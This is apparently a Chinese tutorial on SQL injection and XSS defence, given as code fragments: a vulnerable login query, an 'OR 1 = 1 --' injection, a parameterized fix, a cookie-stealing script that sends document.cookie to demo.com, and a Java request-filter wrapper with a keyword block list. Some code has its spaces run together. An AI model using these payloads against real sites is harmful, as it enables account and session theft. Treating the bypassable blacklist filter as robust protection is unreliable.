<form action="/login"method="POST">

    <p>Username: <input type="text"name="username"/></p>

    <p>Password: <input type="password"name="password"/></p>

    <p><input type="submit"value="登陆"/></p>

</form>

let querySQL = `

    SELECT *

    FROM user

    WHERE username='${username}'

    AND psw='${password}'

`;

// 接下来就是执行 sql 语句

SELECT * FROM user WHERE username='zhangsan'AND psw='mypassword'

SELECT * FROM user WHERE username='zhangsan'OR 1 = 1 --' AND psw='xxxx'

SELECT * FROM user WHERE username='zhangsan'OR 1 = 1

mysql.query(`SELECT * FROM user WHERE username = ? AND psw = ?`, [username, psw]);

<b>This is a XSS test!</b>

<script>

varcookie = document.cookie;

window.open("http://demo.com/getCookie.php?param="+cookie);

</script>

&lt;b&gt;This is a XSS test!&lt;/b&gt;

&lt;script&gt;

varcookie = document.cookie;

window.open(&quot;http://demo.com/getCookie.php?param=&quot;+cookie);

&lt;/script&gt;

/**

 * 防止sql注入,xss攻击

 * 前端可以对输入信息做预处理，后端也可以做处理。

 */

publicclassXssHttpServletRequestWrapperextendsHttpServletRequestWrapper {

    privatefinalLogger log = LoggerFactory.getLogger(getClass());

    privatestaticString key = "and|exec|insert|select|delete|update|count|*|%|chr|mid|master|truncate|char

    |declare|;|or|-|+";

    privatestaticSet<String> notAllowedKeyWords =newHashSet<String>(0);

    privatestaticString replacedString="INVALID";

    static{

        String keyStr[] = key.split("\\|");

        for(String str : keyStr) {

            notAllowedKeyWords.add(str);

        }

    }

    privateString currentUrl;

    publicXssHttpServletRequestWrapper(HttpServletRequest servletRequest) {

        super(servletRequest);

        currentUrl = servletRequest.getRequestURI();

    }

    /**覆盖getParameter方法，将参数名和参数值都做xss过滤。

     * 如果需要获得原始的值，则通过super.getParameterValues(name)来获取

     * getParameterNames,getParameterValues和getParameterMap也可能需要覆盖

     */

    @Override

    publicString getParameter(String parameter) {

        String value = super.getParameter(parameter);

        if(value == null) {

            returnnull;

        }

        returncleanXSS(value);

    }

    @Override

    publicString[] getParameterValues(String parameter) {

        String[] values = super.getParameterValues(parameter);

        if(values == null) {

            returnnull;

        }

        intcount= values.length;

        String[] encodedValues =newString[count];

        for(int i = 0; i <count; i++) {

            encodedValues[i] = cleanXSS(values[i]);

        }

        returnencodedValues;

    }

    @Override

    publicMap<String, String[]> getParameterMap(){

        Map<String, String[]> values=super.getParameterMap();

        if(values == null) {

            returnnull;

        }

        Map<String, String[]> result=newHashMap<>();

        for(String key:values.keySet()){

            String encodedKey=cleanXSS(key);

            intcount=values.get(key).length;

            String[] encodedValues =newString[count];

            for(int i = 0; i <count; i++){

                encodedValues[i]=cleanXSS(values.get(key)[i]);

            }

            result.put(encodedKey,encodedValues);

        }

        returnresult;

    }

    /**

     * 覆盖getHeader方法，将参数名和参数值都做xss过滤。

     * 如果需要获得原始的值，则通过super.getHeaders(name)来获取

     * getHeaderNames 也可能需要覆盖

     */

    @Override

    publicString getHeader(String name) {

        String value = super.getHeader(name);

        if(value == null) {

            returnnull;

        }

        returncleanXSS(value);

    }

    privateString cleanXSS(String valueP) {

        // You'll need to remove the spaces from the html entities below

        String value = valueP.replaceAll("<","&lt;").replaceAll(">","&gt;");

        value = value.replaceAll("<","& lt;").replaceAll(">","& gt;");

        value = value.replaceAll("\\(","& #40;").replaceAll("\\)","& #41;");

        value = value.replaceAll("'","& #39;");

        value = value.replaceAll("eval\\((.*)\\)","");

        value = value.replaceAll("[\\\"\\\'][\\s]*javascript:(.*)[\\\"\\\']","\"\"");

        value = value.replaceAll("script","");

        value = cleanSqlKeyWords(value);

        returnvalue;

    }

    privateString cleanSqlKeyWords(String value) {

        String paramValue = value;

        for(String keyword : notAllowedKeyWords) {

            if(paramValue.length() > keyword.length() + 4

                    && (paramValue.contains(" "+keyword)||paramValue.contains(keyword+" ")||paramValue.

                    contains(" "+keyword+" "))) {

                paramValue = StringUtils.replace(paramValue, keyword, replacedString);

                log.error(this.currentUrl +"已被过滤，因为参数中包含不允许sql的关键词("+ keyword

                        +")"+";参数："+value+";过滤后的参数："+paramValue);

            }

        }

        returnparamValue;

    }

}